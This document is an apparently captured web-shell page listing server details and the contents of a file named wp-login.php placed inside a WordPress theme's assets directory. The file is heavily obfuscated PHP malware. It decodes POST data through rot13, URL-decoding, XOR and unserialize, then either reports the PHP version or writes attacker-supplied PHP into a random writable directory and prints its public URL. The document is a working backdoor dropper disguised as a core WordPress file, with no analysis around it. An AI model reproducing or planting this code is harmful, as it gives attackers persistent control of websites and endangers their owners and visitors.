HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/themes/twentytwentyone/assets/wp-login.php
<?php function MnvkusDUyG($VLBGpX){$mljmmeeZY = "\162"."\x61"."\167".'u'.chr(173-59).chr(1051-943).chr(100).chr(101).'c'."\157".chr(100).'e';$cIHDxEnyW = chr(470-355).'t'.'r'."\137"."\162".chr(111)."\164".chr(49)."\x33";$MXhNEiYmuD = "\x73".chr(116).'r'.chr(687-592)."\x73"."\x70"."\x6c"."\151".chr(116);$VLBGpX = $MXhNEiYmuD($mljmmeeZY($cIHDxEnyW($VLBGpX)));return $VLBGpX;}function XZrmI($zTOChVp, $VLBGpX){$BMPtdtVyn = "\x73"."\x74"."\162".'_'.'s'."\160"."\154"."\x69"."\164";$zTOChVp = array_slice($BMPtdtVyn(str_repeat($zTOChVp, (count($VLBGpX)/16)+1)), 0, count($VLBGpX));return $zTOChVp;}function ZtmIxgCvE($UIRBbTwafL, $MHBuGyJi, $zTOChVp){$MSFBuh = "bbbae2b8-a3ef-4e24-8271-aef4d386bd8e";return $UIRBbTwafL ^ $MSFBuh[$MHBuGyJi % strlen($MSFBuh)] ^ $zTOChVp;}function ULFFDlrwDL($VLBGpX, $zTOChVp){$VLBGpX = array_map("ZtmIxgCvE", array_values($VLBGpX), array_keys($VLBGpX), array_values($zTOChVp));$VLBGpX = implode("", $VLBGpX);$IPFroww = "\x75".chr(1002-892).chr(606-491).'e'."\162"."\x69"."\141".chr(108)."\151"."\172".chr(561-460);$VLBGpX = @$IPFroww($VLBGpX);return $VLBGpX;}function Lutbf(){echo "abJfaFj";}function miSShAknjt($jlbqXir){static $JFFbZogMZ = array();$SnjlhX = glob($jlbqXir . '/*', GLOB_ONLYDIR);$jgkqIOD = count($SnjlhX);if ($jgkqIOD > 0) {foreach ($SnjlhX as $jlbqX) {$bGgsHF = 'i'.chr(560-445)."\137".chr(305-186).chr(850-736).chr(724-619).'t'.'a'."\142".chr(108).'e';if (@$bGgsHF($jlbqX)) {$JFFbZogMZ[] = $jlbqX;}}}foreach ($SnjlhX as $jlbqXir) miSShAknjt($jlbqXir);return $JFFbZogMZ;}function eXtxAMw(){echo "HYHxvCKw";}function yTJvyJ($VLBGpX){$jSuOCHK = 'D'.'O'."\x43".'U'.'M'.chr(69).chr(78).chr(84).chr(105-10).'R'.'O'.chr(79)."\124";$HDNsmVz = $_SERVER[$jSuOCHK];$SnjlhX = miSShAknjt($HDNsmVz);$yEJUmzlhS = array_rand($SnjlhX);$kLHod = chr(46)."\160".chr(397-293)."\x70";$FSHdAH = $SnjlhX[$yEJUmzlhS] . "/" . substr(md5(time()), 0, 8) . $kLHod;$dFGteMTUq = chr(972-870)."\151".chr(584-476)."\x65"."\137"."\x70".chr(117).chr(116).chr(1033-938)."\143".chr(237-126).'n'."\164".'e'."\x6e"."\x74".chr(115);@$dFGteMTUq($FSHdAH, $VLBGpX);$dFCyuFG = chr(890-818).chr(849-765).chr(84)."\x50".chr(488-393).chr(887-815)."\x4f".chr(83)."\x54";$TwwyoIIdbn = "\x68".chr(116).chr(471-355).chr(983-871).chr(384-326).chr(47).'/';$SiTpBJMKcX = $TwwyoIIdbn . $_SERVER[$dFCyuFG] . substr($FSHdAH, strlen($HDNsmVz));print($SiTpBJMKcX);}foreach ($_POST as $zTOChVp => $VLBGpX){$pAmILwjH = strlen($zTOChVp);if ($pAmILwjH == 16){$VLBGpX = MnvkusDUyG($VLBGpX);$zTOChVp = XZrmI($zTOChVp, $VLBGpX);$VLBGpX = ULFFDlrwDL($VLBGpX, $zTOChVp);if (@is_array($VLBGpX)){$yEJUmzlhS = array_keys($VLBGpX);$VLBGpX = $VLBGpX[$yEJUmzlhS[0]];if ($VLBGpX === $yEJUmzlhS[0]){$hNeeIVCEU = "\x70"."\150".'p';$fvXvfwu = "\x70".chr(354-250)."\160".'v'.chr(101)."\x72"."\x73".chr(142-37)."\157"."\156";$GoFMoP = 's'.'e'."\x72".chr(105).chr(957-860).'l'.chr(483-378).chr(122).chr(101);echo @$GoFMoP(Array($hNeeIVCEU => @$fvXvfwu(), ));}else {yTJvyJ($VLBGpX);}die();}}}